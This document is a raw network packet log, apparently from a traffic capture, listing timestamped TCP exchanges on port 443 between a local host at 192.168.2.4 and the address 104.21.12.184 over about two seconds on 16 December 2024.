Dec 16, 2024 21:02:18.919531107 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.919572115 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.919611931 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.919629097 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.919656038 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.919675112 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.926985025 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.927026987 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.927066088 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.927078962 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.927107096 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.927268028 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.934401035 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.934441090 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.934472084 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.934484005 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.934509039 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.934529066 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.076471090 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.076514006 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.076546907 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.076566935 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.076594114 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.076802969 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.083528042 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.083570957 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.083611012 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.083621979 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.083668947 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.083668947 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.091033936 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.091074944 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.091104984 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.091119051 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.091145039 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.091164112 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.097213984 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.097253084 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.097296953 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.097312927 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.097337008 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.097352982 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.104948997 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.104989052 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.105021000 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.105031967 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.105057001 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.105076075 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.111560106 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.111602068 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.111638069 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.111648083 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.111671925 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.111840010 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.119024038 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.119062901 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.119088888 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.119100094 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.119122982 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.119138956 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.126461983 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.126502991 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.126533985 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.126558065 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.126581907 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.126622915 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.269092083 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.269155025 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.269241095 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.269259930 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.269289017 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.269305944 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.276226997 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.276264906 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.276316881 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.276329994 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.276508093 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.276509047 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.283061028 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.283099890 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.283132076 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.283143044 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.283169985 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.283190012 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.290054083 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.290096045 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.290132999 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.290150881 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.290174007 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.291404963 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.297489882 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.297530890 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.297586918 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.297614098 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.297643900 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.298052073 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.304343939 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.304387093 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.304426908 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.304438114 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.304461956 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.304488897 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.311899900 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.311940908 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.311990023 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.312000990 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.312031984 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.312057018 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.318240881 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.318279982 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.318339109 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.318350077 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.318403006 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.318403006 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.460973978 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.461020947 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.461071968 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.461103916 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.461136103 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.461232901 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.468374014 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.468416929 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.468476057 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.468491077 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.468522072 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.468542099 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.474885941 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.474927902 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.474968910 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.474981070 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.475011110 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.475028038 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.482321024 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.482359886 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.482400894 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.482414007 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.482441902 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.482475996 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.489639997 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.489680052 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.489744902 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.489756107 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.489784002 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.489799976 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.496659040 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.496699095 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.496752977 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.496764898 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.496819019 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.496819019 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.504017115 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.504059076 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.504111052 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.504125118 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.504172087 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.504172087 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.510405064 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.510447025 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.510490894 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.510525942 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.510552883 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.510569096 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.653578997 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.653640032 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.653798103 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.653799057 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.653866053 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.653928995 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.659900904 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.659945011 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.659992933 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.660007000 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.660037041 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.660056114 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.670133114 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.670172930 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.670325041 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.670325041 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.670339108 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.673043013 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.677283049 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.677320957 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.677366018 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.677377939 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.677407980 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.677429914 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.684171915 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.684211969 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.684252024 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.684264898 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.684293032 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.684312105 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.691797018 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.691842079 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.691868067 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.691879034 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.691906929 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.691925049 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.698234081 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.698276997 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.698321104 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.698332071 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.698360920 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.698378086 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.702824116 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.702862978 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.702905893 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.702918053 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.702946901 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.702966928 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.845696926 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.845766068 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.845812082 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.845851898 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.845909119 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.845909119 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.852194071 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.852237940 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.852276087 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.852291107 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.852328062 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.852395058 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.859695911 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.859741926 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.859777927 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.859795094 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.859822035 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.860186100 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.866797924 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.866839886 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.866874933 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.866887093 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.866914034 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.866933107 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.874408960 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.874450922 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.874486923 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.874499083 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.874526024 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.876101017 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.881154060 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.881196976 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.881221056 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.881232977 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.881259918 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.881278038 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.887651920 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.887691021 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.887736082 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.887748003 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.887778044 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.887795925 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.895036936 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.895077944 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.895118952 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.895128965 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:19.895153999 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:19.895172119 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.048228979 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.048312902 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.048329115 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.048351049 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.048378944 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.048398972 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.055449963 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.055491924 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.055532932 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.055543900 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.055571079 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.055608988 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.062671900 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.062711954 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.062755108 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.062766075 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.062791109 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.062808990 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.070122957 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.070162058 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.070199013 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.070209980 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.070235968 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.070271015 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.076591015 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.076632977 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.076675892 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.076688051 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.076714993 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.076754093 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.083430052 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.083472013 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.083513975 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.083524942 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.083570004 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.083570957 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.091090918 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.091131926 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.091172934 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.091188908 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.091213942 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.091629028 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.098257065 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.098299026 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.098328114 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.098337889 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.098364115 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.098381042 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.241365910 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.241396904 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.241460085 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.241473913 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.241501093 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.241517067 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.247811079 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.247828007 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.247873068 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.247883081 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.247910023 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.247927904 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.255108118 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.255125999 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.255193949 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.255207062 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.255444050 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.262520075 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.262541056 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.262603998 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.262617111 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.262645960 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.262665987 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.269072056 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.269089937 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.269150019 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.269164085 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.269447088 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.276894093 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.276916027 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.276988029 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.277002096 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:20.277029991 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:20.277049065 CET	49774	443	192.168.2.4	104.21.12.184
